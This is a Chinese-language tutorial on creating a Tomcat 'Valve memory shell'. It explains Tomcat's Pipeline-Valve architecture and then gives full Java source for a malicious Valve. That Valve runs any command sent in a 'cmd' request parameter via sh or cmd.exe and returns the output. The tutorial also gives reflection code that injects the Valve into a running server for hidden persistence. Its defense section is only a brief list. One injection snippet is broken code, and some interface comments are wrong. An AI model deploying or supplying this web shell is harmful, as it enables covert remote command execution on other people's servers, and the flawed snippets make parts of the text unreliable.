擅长捉弄的内存马同学:Valve内存马
字数 1538 2025-08-11 23:05:55
Valve内存马技术深入解析与实现
一、Tomcat架构基础
1.1 Tomcat基本结构
Tomcat容器架构分为两个主要部分:
-
Connector:负责接收请求并封装Request和Response
- 使用ProtocolHandler处理请求
- 主要组件:
- Acceptor:监听请求
- AsyncTimeout:检查请求超时
- Handler:处理接收到的Socket
- Processor:封装Tomcat Request
- Adapter:将Tomcat Request封装为ServletRequest
-
Container:处理请求的核心组件
- 使用Pipeline-Valve机制处理请求
- 包含四个标准容器:
- StandardEngine
- StandardHost
- StandardContext
- StandardWrapper
- 每个容器都有一个Pipeline和多个Valve
1.2 请求处理流程
- Connector接收请求并封装
- Adapter将请求交给Container
- EnginePipeline开始处理
- 依次通过各层Pipeline
- 到达StandardWrapperValve
- 创建FilterChain并调用doFilter方法
- 依次调用Filter的doFilter方法和Servlet的service方法
二、Valve机制详解
2.1 Valve基础概念
- Valve:像阀门一样控制管道中的请求流
- Pipeline-Valve机制:Tomcat处理请求的核心模式
- 标准Valve:
- StandardEngineValve
- StandardHostValve
- StandardContextValve
- StandardWrapperValve
2.2 Valve接口关键方法
public interface Valve {
public Valve getNext(); // 获取上一个节点
public void setNext(Valve valve); // 设置上一个节点
public void invoke(Request request, Response response); // 逻辑处理
public boolean isAsyncSupported(); // 是否支持异步
}
2.3 Valve实现方式
-
直接实现Valve接口(不推荐)
- 需要手动处理调用链
- 容易导致请求中断
-
继承ValveBase类(推荐)
- 提供了基础实现
- 简化了Valve开发
三、Valve加载流程
3.1 Tomcat启动流程
- Bootstrap.main()入口
- 实例化并初始化
- 调用daemon的load()和start()
- Catalina.load()初始化
- Digester解析server.xml
- 组件实例化
3.2 Valve加载关键步骤
- 解析server.xml中的/Host/Valve节点
- 触发addValve方法
- 执行ContainerBase.addValve()
- 最终调用StandardPipeline.addValve()
- 设置valve的next引用,形成调用链
四、Valve内存马实现
4.1 实现思路
- 构造恶意Valve
- 通过线程获取Standard容器
- 获取容器的Pipeline
- 添加自定义Valve
- 确保调用getNext().invoke()保持业务正常
4.2 关键代码实现
// 恶意Valve实现
public class EvilValve extends ValveBase {
@Override
public void invoke(Request request, Response response) {
// 恶意代码逻辑
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (Exception e) {
e.printStackTrace();
}
}
// 保持调用链
this.getNext().invoke(request, response);
}
}
// 注入代码
Thread.currentThread().getContextClassLoader()
.loadClass("org.apache.catalina.core.StandardHost")
.getMethod("getPipeline")
.invoke(standardHost)
.getMethod("addValve", Valve.class)
.invoke(pipeline, new EvilValve());
4.3 注入流程
- 获取当前线程上下文
- 反射获取StandardHost实例
- 获取Pipeline对象
- 调用addValve方法注入恶意Valve
- 确保不影响正常业务逻辑
五、防御措施
- 监控Tomcat中非标准Valve的添加
- 定期检查server.xml配置文件
- 使用安全管理器限制反射调用
- 实施最小权限原则
- 定期更新Tomcat版本
六、技术要点总结
- Valve内存马利用了Tomcat的Pipeline-Valve机制
- 通过反射动态注入恶意Valve实现持久化
- 需要保持调用链完整以避免业务中断
- 相比Filter内存马更底层,更难检测
- 理解Tomcat架构是开发高级内存马的基础
附录:参考实现
完整Valve内存马实现示例:
import org.apache.catalina.Valve;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.valves.ValveBase;
import javax.servlet.ServletException;
import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;
public class MemShellValve extends ValveBase {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
return;
}
this.getNext().invoke(request, response);
}
}
注入代码:
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardHost host = (StandardHost) req.getContext().getParent().getParent();
host.getPipeline().addValve(new MemShellValve());